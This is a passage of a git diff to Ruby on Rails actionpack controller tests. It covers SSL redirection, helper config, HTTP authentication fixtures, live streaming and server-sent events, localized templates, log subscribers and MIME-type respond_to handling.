class ForceSSLIfConditionTest < ActionController::TestCase
- tests ForceSSLIfCondition
-
def test_banana_not_redirects_to_https
get :banana
assert_response 200
@@ -234,8 +224,6 @@ class ForceSSLIfConditionTest < ActionController::TestCase
end
class ForceSSLFlashTest < ActionController::TestCase
- tests ForceSSLFlash
-
def test_cheeseburger_redirects_to_https
get :set_flash
assert_response 302
@@ -315,7 +303,6 @@ class ForceSSLOptionalSegmentsTest < ActionController::TestCase
end
class RedirectToSSLTest < ActionController::TestCase
- tests RedirectToSSL
def test_banana_redirects_to_https_if_not_https
get :banana
assert_response 301
@@ -334,4 +321,4 @@ class RedirectToSSLTest < ActionController::TestCase
assert_response 200
assert_equal 'ihaz', response.body
end
-end \ No newline at end of file
+end
diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb
index 248c81193e..20f99f19ee 100644
--- a/actionpack/test/controller/helper_test.rb
+++ b/actionpack/test/controller/helper_test.rb
@@ -201,6 +201,12 @@ class HelperTest < ActiveSupport::TestCase
# fun/pdf_helper.rb
assert methods.include?(:foobar)
end
+
+ def test_helper_proxy_config
+ AllHelpersController.config.my_var = 'smth'
+
+ assert_equal 'smth', AllHelpersController.helpers.config.my_var
+ end
private
def expected_helper_methods
diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb
index 9f1c168209..52a0bc9aa3 100644
--- a/actionpack/test/controller/http_digest_authentication_test.rb
+++ b/actionpack/test/controller/http_digest_authentication_test.rb
@@ -21,7 +21,7 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
def authenticate
authenticate_or_request_with_http_digest("SuperSecret") do |username|
- # Return the password
+ # Returns the password
USERS[username]
end
end
diff --git a/actionpack/test/controller/http_token_authentication_test.rb b/actionpack/test/controller/http_token_authentication_test.rb
index ebf6d224aa..86b94652ce 100644
--- a/actionpack/test/controller/http_token_authentication_test.rb
+++ b/actionpack/test/controller/http_token_authentication_test.rb
@@ -21,7 +21,7 @@ class HttpTokenAuthenticationTest < ActionController::TestCase
private
def authenticate
- authenticate_or_request_with_http_token do |token, options|
+ authenticate_or_request_with_http_token do |token, _|
token == 'lifo'
end
end
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
index f7ec6d71b3..e851cc6a63 100644
--- a/actionpack/test/controller/integration_test.rb
+++ b/actionpack/test/controller/integration_test.rb
@@ -277,7 +277,7 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
end
def redirect
- redirect_to :action => "get"
+ redirect_to action_url('get')
end
end
@@ -511,8 +511,8 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
end
set.draw do
- match ':action', :to => controller, :via => [:get, :post]
- get 'get/:action', :to => controller
+ match ':action', :to => controller, :via => [:get, :post], :as => :action
+ get 'get/:action', :to => controller, :as => :get_action
end
self.singleton_class.send(:include, set.url_helpers)
diff --git a/actionpack/test/controller/live_stream_test.rb b/actionpack/test/controller/live_stream_test.rb
index 34164a19f0..947f64176b 100644
--- a/actionpack/test/controller/live_stream_test.rb
+++ b/actionpack/test/controller/live_stream_test.rb
@@ -1,8 +1,98 @@
require 'abstract_unit'
require 'active_support/concurrency/latch'
+Thread.abort_on_exception = true
module ActionController
+ class SSETest < ActionController::TestCase
+ class SSETestController < ActionController::Base
+ include ActionController::Live
+
+ def basic_sse
+ response.headers['Content-Type'] = 'text/event-stream'
+ sse = SSE.new(response.stream)
+ sse.write("{\"name\":\"John\"}")
+ sse.write({ name: "Ryan" })
+ ensure
+ sse.close
+ end
+
+ def sse_with_event
+ sse = SSE.new(response.stream, event: "send-name")
+ sse.write("{\"name\":\"John\"}")
+ sse.write({ name: "Ryan" })
+ ensure
+ sse.close
+ end
+
+ def sse_with_retry
+ sse = SSE.new(response.stream, retry: 1000)
+ sse.write("{\"name\":\"John\"}")
+ sse.write({ name: "Ryan" }, retry: 1500)
+ ensure
+ sse.close
+ end
+
+ def sse_with_id
+ sse = SSE.new(response.stream)
+ sse.write("{\"name\":\"John\"}", id: 1)
+ sse.write({ name: "Ryan" }, id: 2)
+ ensure
+ sse.close
+ end
+ end
+
+ tests SSETestController
+
+ def wait_for_response_stream_close
+ response.body
+ end
+
+ def test_basic_sse
+ get :basic_sse
+
+ wait_for_response_stream_close
+ assert_match(/data: {\"name\":\"John\"}/, response.body)
+ assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+ end
+
+ def test_sse_with_event_name
+ get :sse_with_event
+
+ wait_for_response_stream_close
+ assert_match(/data: {\"name\":\"John\"}/, response.body)
+ assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+ assert_match(/event: send-name/, response.body)
+ end
+
+ def test_sse_with_retry
+ get :sse_with_retry
+
+ wait_for_response_stream_close
+ first_response, second_response = response.body.split("\n\n")
+ assert_match(/data: {\"name\":\"John\"}/, first_response)
+ assert_match(/retry: 1000/, first_response)
+
+ assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
+ assert_match(/retry: 1500/, second_response)
+ end
+
+ def test_sse_with_id
+ get :sse_with_id
+
+ wait_for_response_stream_close
+ first_response, second_response = response.body.split("\n\n")
+ assert_match(/data: {\"name\":\"John\"}/, first_response)
+ assert_match(/id: 1/, first_response)
+
+ assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
+ assert_match(/id: 2/, second_response)
+ end
+ end
+
class LiveStreamTest < ActionController::TestCase
+ class Exception < StandardError
+ end
+
class TestController < ActionController::Base
include ActionController::Live
@@ -12,6 +102,12 @@ module ActionController
'test'
end
+ def set_cookie
+ cookies[:hello] = "world"
+ response.stream.write "hello world"
+ response.close
+ end
+
def render_text
render :text => 'zomg'
end
@@ -57,6 +153,11 @@ module ActionController
render 'doesntexist'
end
+ def exception_in_view_after_commit
+ response.stream.write ""
+ render 'doesntexist'
+ end
+
def exception_with_callback
response.headers['Content-Type'] = 'text/event-stream'
@@ -65,32 +166,33 @@ module ActionController
response.stream.close
end
+ response.stream.write "" # make sure the response is committed
raise 'An exception occurred...'
end
+ def exception_in_controller
+ raise Exception, 'Exception in controller'
+ end
+
+ def bad_request_error
+ raise ActionController::BadRequest
+ end
+
def exception_in_exception_callback
response.headers['Content-Type'] = 'text/event-stream'
response.stream.on_error do
raise 'We need to go deeper.'
end
+ response.stream.write ''
response.stream.write params[:widget][:didnt_check_for_nil]
end
end
tests TestController
- class TestResponse < Live::Response
- def recycle!
- initialize
- end
- end
-
- def build_response
- TestResponse.new
- end
-
def assert_stream_closed
assert response.stream.closed?, 'stream should be closed'
+ assert response.sent?, 'stream should be sent'
end
def capture_log_output
@@ -104,6 +206,13 @@ module ActionController
end
end
+ def test_set_cookie
+ @controller = TestController.new
+ get :set_cookie
+ assert_equal({'hello' => 'world'}, @response.cookies)
+ assert_equal "hello world", @response.body
+ end
+
def test_set_response!
@controller.set_response!(@request)
assert_kind_of(Live::Response, @controller.response)
@@ -125,6 +234,7 @@ module ActionController
@controller.response = @response
t = Thread.new(@response) { |resp|
+ resp.await_commit
resp.stream.each do |part|
assert_equal parts.shift, part
ol = @controller.latch
@@ -135,7 +245,7 @@ module ActionController
@controller.process :blocking_stream
- assert t.join
+ assert t.join(3), 'timeout expired before the thread terminated'
end
def test_thread_locals_get_copied
@@ -161,24 +271,34 @@ module ActionController
end
def test_exception_handling_html
- capture_log_output do |output|
+ assert_raises(ActionView::MissingTemplate) do
get :exception_in_view
+ end
+
+ capture_log_output do |output|
+ get :exception_in_view_after_commit
assert_match %r((window\.location = "/500\.html"</script></html>)$), response.body
assert_match 'Missing template test/doesntexist', output.rewind && output.read
assert_stream_closed
end
+ assert response.body
+ assert_stream_closed
end
def test_exception_handling_plain_text
- capture_log_output do |output|
+ assert_raises(ActionView::MissingTemplate) do
get :exception_in_view, format: :json
+ end
+
+ capture_log_output do |output|
+ get :exception_in_view_after_commit, format: :json
assert_equal '', response.body
assert_match 'Missing template test/doesntexist', output.rewind && output.read
assert_stream_closed
end
end
- def test_exception_callback
+ def test_exception_callback_when_committed
capture_log_output do |output|
get :exception_with_callback, format: 'text/event-stream'
assert_equal %(data: "500 Internal Server Error"\n\n), response.body
@@ -187,7 +307,19 @@ module ActionController
end
end
- def test_exceptions_raised_handling_exceptions
+ def test_exception_in_controller_before_streaming
+ assert_raises(ActionController::LiveStreamTest::Exception) do
+ get :exception_in_controller, format: 'text/event-stream'
+ end
+ end
+
+ def test_bad_request_in_controller_before_streaming
+ assert_raises(ActionController::BadRequest) do
+ get :bad_request_error, format: 'text/event-stream'
+ end
+ end
+
+ def test_exceptions_raised_handling_exceptions_and_committed
capture_log_output do |output|
get :exception_in_exception_callback, format: 'text/event-stream'
assert_equal '', response.body
@@ -207,4 +339,11 @@ module ActionController
assert_equal 304, @response.status.to_i
end
end
+
+ class BufferTest < ActionController::TestCase
+ def test_nil_callback
+ buf = ActionController::Live::Buffer.new nil
+ assert buf.call_on_error
+ end
+ end
end
diff --git a/actionpack/test/controller/localized_templates_test.rb b/actionpack/test/controller/localized_templates_test.rb
index 6b02eedaed..c95ef8a0c7 100644
--- a/actionpack/test/controller/localized_templates_test.rb
+++ b/actionpack/test/controller/localized_templates_test.rb
@@ -34,4 +34,15 @@ class LocalizedTemplatesTest < ActionController::TestCase
get :hello_world
assert_equal "Gutten Tag", @response.body
end
+
+ def test_localized_template_has_correct_header_with_no_format_in_template_name
+ old_locale = I18n.locale
+ I18n.locale = :it
+
+ get :hello_world
+ assert_equal "Ciao Mondo", @response.body
+ assert_equal "text/html", @response.content_type
+ ensure
+ I18n.locale = old_locale
+ end
end
diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb
index 075347be52..18037b3d2f 100644
--- a/actionpack/test/controller/log_subscriber_test.rb
+++ b/actionpack/test/controller/log_subscriber_test.rb
@@ -137,6 +137,17 @@ class ACLogSubscriberTest < ActionController::TestCase
assert_equal 'Parameters: {"id"=>"10"}', logs[1]
end
+ def test_multiple_process_with_parameters
+ get :show, :id => '10'
+ get :show, :id => '20'
+
+ wait
+
+ assert_equal 6, logs.size
+ assert_equal 'Parameters: {"id"=>"10"}', logs[1]
+ assert_equal 'Parameters: {"id"=>"20"}', logs[4]
+ end
+
def test_process_action_with_wrapped_parameters
@request.env['CONTENT_TYPE'] = 'application/json'
post :show, :id => '10', :name => 'jose'
diff --git a/actionpack/test/controller/mime/accept_format_test.rb b/actionpack/test/controller/mime/accept_format_test.rb
new file mode 100644
index 0000000000..811c507af2
--- /dev/null
+++ b/actionpack/test/controller/mime/accept_format_test.rb
@@ -0,0 +1,92 @@
+require 'abstract_unit'
+
+class StarStarMimeController < ActionController::Base
+ layout nil
+
+ def index
+ render
+ end
+end
+
+class StarStarMimeControllerTest < ActionController::TestCase
+ def test_javascript_with_format
+ @request.accept = "text/javascript"
+ get :index, :format => 'js'
+ assert_match "function addition(a,b){ return a+b; }", @response.body
+ end
+
+ def test_javascript_with_no_format
+ @request.accept = "text/javascript"
+ get :index
+ assert_match "function addition(a,b){ return a+b; }", @response.body
+ end
+
+ def test_javascript_with_no_format_only_star_star
+ @request.accept = "*/*"
+ get :index
+ assert_match "function addition(a,b){ return a+b; }", @response.body
+ end
+end
+
+class AbstractPostController < ActionController::Base
+ self.view_paths = File.dirname(__FILE__) + "/../../fixtures/post_test/"
+end
+
+# For testing layouts which are set automatically
+class PostController < AbstractPostController
+ around_action :with_iphone
+
+ def index
+ respond_to(:html, :iphone, :js)
+ end
+
+protected
+
+ def with_iphone
+ request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+ yield
+ end
+end
+
+class SuperPostController < PostController
+end
+
+class MimeControllerLayoutsTest < ActionController::TestCase
+ tests PostController
+
+ def setup
+ super
+ @request.host = "www.example.com"
+ Mime::Type.register_alias("text/html", :iphone)
+ end
+
+ def teardown
+ super
+ Mime::Type.unregister(:iphone)
+ end
+
+ def test_missing_layout_renders_properly
+ get :index
+ assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body
+
+ @request.accept = "text/iphone"
+ get :index
+ assert_equal 'Hello iPhone', @response.body
+ end
+
+ def test_format_with_inherited_layouts
+ @controller = SuperPostController.new
+
+ get :index
+ assert_equal '<html><div id="html">Super Firefox</div></html>', @response.body
+
+ @request.accept = "text/iphone"
+ get :index
+ assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
+ end
+
+ def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout
+ get :index, :format => :js
+ assert_equal "Hello Firefox", @response.body
+ end
+end
diff --git a/actionpack/test/controller/mime/respond_to_test.rb b/actionpack/test/controller/mime/respond_to_test.rb
new file mode 100644
index 0000000000..41503e11a8
--- /dev/null
+++ b/actionpack/test/controller/mime/respond_to_test.rb
@@ -0,0 +1,771 @@
+require 'abstract_unit'
+
+class RespondToController < ActionController::Base
+ layout :set_layout
+
+ def html_xml_or_rss
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.xml { render :text => "XML" }
+ type.rss { render :text => "RSS" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def js_or_html
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.js { render :text => "JS" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def json_or_yaml
+ respond_to do |type|
+ type.json { render :text => "JSON" }
+ type.yaml { render :text => "YAML" }
+ end
+ end
+
+ def html_or_xml
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.xml { render :text => "XML" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def json_xml_or_html
+ respond_to do |type|
+ type.json { render :text => 'JSON' }
+ type.xml { render :xml => 'XML' }
+ type.html { render :text => 'HTML' }
+ end
+ end
+
+
+ def forced_xml
+ request.format = :xml
+
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.xml { render :text => "XML" }
+ end
+ end
+
+ def just_xml
+ respond_to do |type|
+ type.xml { render :text => "XML" }
+ end
+ end
+
+ def using_defaults
+ respond_to do |type|
+ type.html
+ type.xml
+ end
+ end
+
+ def using_defaults_with_type_list
+ respond_to(:html, :xml)
+ end
+
+ def using_defaults_with_all
+ respond_to do |type|
+ type.html
+ type.all{ render text: "ALL" }
+ end
+ end
+
+ def made_for_content_type
+ respond_to do |type|
+ type.rss { render :text => "RSS" }
+ type.atom { render :text => "ATOM" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def custom_type_handling
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.custom("application/crazy-xml") { render :text => "Crazy XML" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+
+ def custom_constant_handling
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.mobile { render :text => "Mobile" }
+ end
+ end
+
+ def custom_constant_handling_without_block
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.mobile
+ end
+ end
+
+ def handle_any
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.any(:js, :xml) { render :text => "Either JS or XML" }
+ end
+ end
+
+ def handle_any_any
+ respond_to do |type|
+ type.html { render :text => 'HTML' }
+ type.any { render :text => 'Whatever you ask for, I got it' }
+ end
+ end
+
+ def all_types_with_layout
+ respond_to do |type|
+ type.html
+ end
+ end
+
+ def iphone_with_html_response_type
+ request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+ respond_to do |type|
+ type.html { @type = "Firefox" }
+ type.iphone { @type = "iPhone" }
+ end
+ end
+
+ def iphone_with_html_response_type_without_layout
+ request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+ respond_to do |type|
+ type.html { @type = "Firefox"; render :action => "iphone_with_html_response_type" }
+ type.iphone { @type = "iPhone" ; render :action => "iphone_with_html_response_type" }
+ end
+ end
+
+ def variant_with_implicit_rendering
+ end
+
+ def variant_with_format_and_custom_render
+ request.variant = :mobile
+
+ respond_to do |type|
+ type.html { render text: "mobile" }
+ end
+ end
+
+ def multiple_variants_for_format
+ respond_to do |type|
+ type.html do |html|
+ html.tablet { render text: "tablet" }
+ html.phone { render text: "phone" }
+ end
+ end
+ end
+
+ def variant_plus_none_for_format
+ respond_to do |format|
+ format.html do |variant|
+ variant.phone { render text: "phone" }
+ variant.none
+ end
+ end
+ end
+
+ def variant_inline_syntax
+ respond_to do |format|
+ format.js { render text: "js" }
+ format.html.none { render text: "none" }
+ format.html.phone { render text: "phone" }
+ end
+ end
+
+ def variant_inline_syntax_without_block
+ respond_to do |format|
+ format.js
+ format.html.none
+ format.html.phone
+ end
+ end
+
+ def variant_any
+ respond_to do |format|
+ format.html do |variant|
+ variant.any(:tablet, :phablet){ render text: "any" }
+ variant.phone { render text: "phone" }
+ end
+ end
+ end
+
+ def variant_any_any
+ respond_to do |format|
+ format.html do |variant|
+ variant.any { render text: "any" }
+ variant.phone { render text: "phone" }
+ end
+ end
+ end
+
+ def variant_inline_any
+ respond_to do |format|
+ format.html.any(:tablet, :phablet){ render text: "any" }
+ format.html.phone { render text: "phone" }
+ end
+ end
+
+ def variant_inline_any_any
+ respond_to do |format|
+ format.html.phone { render text: "phone" }
+ format.html.any { render text: "any" }
+ end
+ end
+
+ def variant_any_implicit_render
+ respond_to do |format|
+ format.html.phone
+ format.html.any(:tablet, :phablet)
+ end
+ end
+
+ def variant_any_with_none
+ respond_to do |format|
+ format.html.any(:none, :phone){ render text: "none or phone" }
+ end
+ end
+
+ def format_any_variant_any
+ respond_to do |format|
+ format.html { render text: "HTML" }
+ format.any(:js, :xml) do |variant|
+ variant.phone{ render text: "phone" }
+ variant.any(:tablet, :phablet){ render text: "tablet" }
+ end
+ end
+ end
+
+ protected
+ def set_layout
+ case action_name
+ when "all_types_with_layout", "iphone_with_html_response_type"
+ "respond_to/layouts/standard"
+ when "iphone_with_html_response_type_without_layout"
+ "respond_to/layouts/missing"
+ end
+ end
+end
+
+class RespondToControllerTest < ActionController::TestCase
+ def setup
+ super
+ @request.host = "www.example.com"
+ Mime::Type.register_alias("text/html", :iphone)
+ Mime::Type.register("text/x-mobile", :mobile)
+ end
+
+ def teardown
+ super
+ Mime::Type.unregister(:iphone)
+ Mime::Type.unregister(:mobile)
+ end
+
+ def test_html
+ @request.accept = "text/html"
+ get :js_or_html
+ assert_equal 'HTML', @response.body
+
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ assert_raises(ActionController::UnknownFormat) do
+ get :just_xml
+ end
+ end
+
+ def test_all
+ @request.accept = "*/*"
+ get :js_or_html
+ assert_equal 'HTML', @response.body # js is not part of all
+
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ get :just_xml
+ assert_equal 'XML', @response.body
+ end
+
+ def test_xml
+ @request.accept = "application/xml"
+ get :html_xml_or_rss
+ assert_equal 'XML', @response.body
+ end
+
+ def test_js_or_html
+ @request.accept = "text/javascript, text/html"
+ xhr :get, :js_or_html
+ assert_equal 'JS', @response.body
+
+ @request.accept = "text/javascript, text/html"
+ xhr :get, :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ @request.accept = "text/javascript, text/html"
+
+ assert_raises(ActionController::UnknownFormat) do
+ xhr :get, :just_xml
+ end
+ end
+
+ def test_json_or_yaml_with_leading_star_star
+ @request.accept = "*/*, application/json"
+ get :json_xml_or_html
+ assert_equal 'HTML', @response.body
+
+ @request.accept = "*/* , application/json"
+ get :json_xml_or_html
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_json_or_yaml
+ xhr :get, :json_or_yaml
+ assert_equal 'JSON', @response.body
+
+ get :json_or_yaml, :format => 'json'
+ assert_equal 'JSON', @response.body
+
+ get :json_or_yaml, :format => 'yaml'
+ assert_equal 'YAML', @response.body
+
+ { 'YAML' => %w(text/yaml),
+ 'JSON' => %w(application/json text/x-json)
+ }.each do |body, content_types|
+ content_types.each do |content_type|
+ @request.accept = content_type
+ get :json_or_yaml
+ assert_equal body, @response.body
+ end
+ end
+ end
+
+ def test_js_or_anything
+ @request.accept = "text/javascript, */*"
+ xhr :get, :js_or_html
+ assert_equal 'JS', @response.body
+
+ xhr :get, :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ xhr :get, :just_xml
+ assert_equal 'XML', @response.body
+ end
+
+ def test_using_defaults
+ @request.accept = "*/*"
+ get :using_defaults
+ assert_equal "text/html", @response.content_type
+ assert_equal 'Hello world!', @response.body
+
+ @request.accept = "application/xml"
+ get :using_defaults
+ assert_equal "application/xml", @response.content_type
+ assert_equal "<p>Hello world!</p>\n", @response.body
+ end
+
+ def test_using_defaults_with_all
+ @request.accept = "*/*"
+ get :using_defaults_with_all
+ assert_equal "HTML!", @response.body.strip
+
+ @request.accept = "text/html"
+ get :using_defaults_with_all
+ assert_equal "HTML!", @response.body.strip
+
+ @request.accept = "application/json"
+ get :using_defaults_with_all
+ assert_equal "ALL", @response.body
+ end
+
+ def test_using_defaults_with_type_list
+ @request.accept = "*/*"
+ get :using_defaults_with_type_list
+ assert_equal "text/html", @response.content_type
+ assert_equal 'Hello world!', @response.body
+
+ @request.accept = "application/xml"
+ get :using_defaults_with_type_list
+ assert_equal "application/xml", @response.content_type
+ assert_equal "<p>Hello world!</p>\n", @response.body
+ end
+
+ def test_with_atom_content_type
+ @request.accept = ""
+ @request.env["CONTENT_TYPE"] = "application/atom+xml"
+ xhr :get, :made_for_content_type
+ assert_equal "ATOM", @response.body
+ end
+
+ def test_with_rss_content_type
+ @request.accept = ""
+ @request.env["CONTENT_TYPE"] = "application/rss+xml"
+ xhr :get, :made_for_content_type
+ assert_equal "RSS", @response.body
+ end
+
+ def test_synonyms
+ @request.accept = "application/javascript"
+ get :js_or_html
+ assert_equal 'JS', @response.body
+
+ @request.accept = "application/x-xml"
+ get :html_xml_or_rss
+ assert_equal "XML", @response.body
+ end
+
+ def test_custom_types
+ @request.accept = "application/crazy-xml"
+ get :custom_type_handling
+ assert_equal "application/crazy-xml", @response.content_type
+ assert_equal 'Crazy XML', @response.body
+
+ @request.accept = "text/html"
+ get :custom_type_handling
+ assert_equal "text/html", @response.content_type
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_xhtml_alias
+ @request.accept = "application/xhtml+xml,application/xml"
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_firefox_simulation
+ @request.accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any
+ @request.accept = "*/*"
+ get :handle_any
+ assert_equal 'HTML', @response.body
+
+ @request.accept = "text/javascript"
+ get :handle_any
+ assert_equal 'Either JS or XML', @response.body
+
+ @request.accept = "text/xml"
+ get :handle_any
+ assert_equal 'Either JS or XML', @response.body
+ end
+
+ def test_handle_any_any
+ @request.accept = "*/*"
+ get :handle_any_any
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any_any_parameter_format
+ get :handle_any_any, {:format=>'html'}
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any_any_explicit_html
+ @request.accept = "text/html"
+ get :handle_any_any
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any_any_javascript
+ @request.accept = "text/javascript"
+ get :handle_any_any
+ assert_equal 'Whatever you ask for, I got it', @response.body
+ end
+
+ def test_handle_any_any_xml
+ @request.accept = "text/xml"
+ get :handle_any_any
+ assert_equal 'Whatever you ask for, I got it', @response.body
+ end
+
+ def test_handle_any_any_unkown_format
+ get :handle_any_any, { format: 'php' }
+ assert_equal 'Whatever you ask for, I got it', @response.body
+ end
+
+ def test_browser_check_with_any_any
+ @request.accept = "application/json, application/xml"
+ get :json_xml_or_html
+ assert_equal 'JSON', @response.body
+
+ @request.accept = "application/json, application/xml, */*"
+ get :json_xml_or_html
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_html_type_with_layout
+ @request.accept = "text/html"
+ get :all_types_with_layout
+ assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
+ end
+
+ def test_xhr
+ xhr :get, :js_or_html
+ assert_equal 'JS', @response.body
+ end
+
+ def test_custom_constant
+ get :custom_constant_handling, :format => "mobile"
+ assert_equal "text/x-mobile", @response.content_type
+ assert_equal "Mobile", @response.body
+ end
+
+ def test_custom_constant_handling_without_block
+ get :custom_constant_handling_without_block, :format => "mobile"
+ assert_equal "text/x-mobile", @response.content_type
+ assert_equal "Mobile", @response.body
+ end
+
+ def test_forced_format
+ get :html_xml_or_rss
+ assert_equal "HTML", @response.body
+
+ get :html_xml_or_rss, :format => "html"
+ assert_equal "HTML", @response.body
+
+ get :html_xml_or_rss, :format => "xml"
+ assert_equal "XML", @response.body
+
+ get :html_xml_or_rss, :format => "rss"
+ assert_equal "RSS", @response.body
+ end
+
+ def test_internally_forced_format
+ get :forced_xml
+ assert_equal "XML", @response.body
+
+ get :forced_xml, :format => "html"
+ assert_equal "XML", @response.body
+ end
+
+ def test_extension_synonyms
+ get :html_xml_or_rss, :format => "xhtml"
+ assert_equal "HTML", @response.body
+ end
+
+ def test_render_action_for_html
+ @controller.instance_eval do
+ def render(*args)
+ @action = args.first[:action] unless args.empty?
+ @action ||= action_name
+
+ response.body = "#{@action} - #{formats}"
+ end
+ end
+
+ get :using_defaults
+ assert_equal "using_defaults - #{[:html].to_s}", @response.body
+
+ get :using_defaults, :format => "xml"
+ assert_equal "using_defaults - #{[:xml].to_s}", @response.body
+ end
+
+ def test_format_with_custom_response_type
+ get :iphone_with_html_response_type
+ assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
+
+ get :iphone_with_html_response_type, :format => "iphone"
+ assert_equal "text/html", @response.content_type
+ assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+ end
+
+ def test_format_with_custom_response_type_and_request_headers
+ @request.accept = "text/iphone"
+ get :iphone_with_html_response_type
+ assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_invalid_format
+ assert_raises(ActionController::UnknownFormat) do
+ get :using_defaults, :format => "invalidformat"
+ end
+ end
+
+ def test_invalid_variant
+ @request.variant = :invalid
+ assert_raises(ActionView::MissingTemplate) do
+ get :variant_with_implicit_rendering
+ end
+ end
+
+ def test_variant_not_set_regular_template_missing
+ assert_raises(ActionView::MissingTemplate) do
+ get :variant_with_implicit_rendering
+ end
+ end
+
+ def test_variant_with_implicit_rendering
+ @request.variant = :mobile
+ get :variant_with_implicit_rendering
+ assert_equal "text/html", @response.content_type
+ assert_equal "mobile", @response.body
+ end
+
+ def test_variant_with_format_and_custom_render
+ @request.variant = :phone
+ get :variant_with_format_and_custom_render
+ assert_equal "text/html", @response.content_type
+ assert_equal "mobile", @response.body
+ end
+
+ def test_multiple_variants_for_format
+ @request.variant = :tablet
+ get :multiple_variants_for_format
+ assert_equal "text/html", @response.content_type
+ assert_equal "tablet", @response.body
+ end
+
+ def test_no_variant_in_variant_setup
+ get :variant_plus_none_for_format
+ assert_equal "text/html", @response.content_type
+ assert_equal "none", @response.body
+ end
+
+ def test_variant_inline_syntax
+ get :variant_inline_syntax, format: :js
+ assert_equal "text/javascript", @response.content_type
+ assert_equal "js", @response.body
+
+ get :variant_inline_syntax
+ assert_equal "text/html", @response.content_type
+ assert_equal "none", @response.body
+
+ @request.variant = :phone
+ get :variant_inline_syntax
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+
+ def test_variant_inline_syntax_without_block
+ @request.variant = :phone
+ get :variant_inline_syntax_without_block
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+
+ def test_variant_any
+ @request.variant = :phone
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :tablet
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+
+ @request.variant = :phablet
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_any_any
+ get :variant_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+
+ @request.variant = :phone
+ get :variant_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :yolo
+ get :variant_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_inline_any
+ @request.variant = :phone
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :tablet
+ get :variant_inline_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+
+ @request.variant = :phablet
+ get :variant_inline_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_inline_any_any
+ @request.variant = :phone
+ get :variant_inline_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :yolo
+ get :variant_inline_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_any_implicit_render
+ @request.variant = :tablet
+ get :variant_any_implicit_render
+ assert_equal "text/html", @response.content_type
+ assert_equal "tablet", @response.body
+
+ @request.variant = :phablet
+ get :variant_any_implicit_render
+ assert_equal "text/html", @response.content_type
+ assert_equal "phablet", @response.body
+ end
+
+ def test_variant_any_with_none
+ get :variant_any_with_none
+ assert_equal "text/html", @response.content_type
+ assert_equal "none or phone", @response.body
+
+ @request.variant = :phone
+ get :variant_any_with_none
+ assert_equal "text/html", @response.content_type
+ assert_equal "none or phone", @response.body
+ end
+
+ def test_format_any_variant_any
+ @request.variant = :tablet
+ get :format_any_variant_any, format: :js
+ assert_equal "text/javascript", @response.content_type
